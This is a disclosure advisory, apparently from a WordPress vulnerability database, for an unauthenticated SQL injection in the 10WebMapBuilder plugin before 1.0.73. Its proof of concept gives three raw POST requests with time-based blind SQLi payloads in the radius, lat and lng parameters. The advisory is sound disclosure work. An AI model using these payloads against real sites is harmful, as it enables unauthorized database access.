WordPress Plugin Vulnerabilities

10WebMapBuilder < 1.0.73 - Unauthenticated SQLi

Description

The plugin does not properly sanitise and escape some parameters before using them in an SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection

Proof of Concept

Note: /2022/12/29/map/ is page/post where the Google_Maps_WD is embed

POST /2022/12/29/map/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

radius=1+and+(SELECT+7741+FROM+(SELECT(SLEEP(5)))hlAf)&lat=0.0&lng=0.0&distance_in=km


POST /2022/12/29/map/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 171

radius=1&lat=0.0))))+AS+distance+FROM+wp_gmwd_markers+as+T_MARKERS+where+T_MARKERS.published=1+and+(SELECT+7741+FROM+(SELECT(SLEEP(5)))hlAf)--+)&lng=0.0&distance_in=km


POST /2022/12/29/map/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 171

radius=1&lat=0.0&lng=0.0))))+AS+distance+FROM+wp_gmwd_markers+as+T_MARKERS+where+T_MARKERS.published=1+and+(SELECT+7741+FROM+(SELECT(SLEEP(5)))hlAf)--+)&distance_in=km

Affects Plugins

Fixed in 1.0.73

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Daniel Krohmer (Fraunhofer IESE), Kunal Sharma (University of Kaiserslautern)
Submitter
Daniel Krohmer
Verified
Yes

Timeline

Publicly Published
2023-02-20 (about 1 years ago)
Added
2023-02-20 (about 1 years ago)
Last Updated
2023-02-20 (about 1 years ago)

Other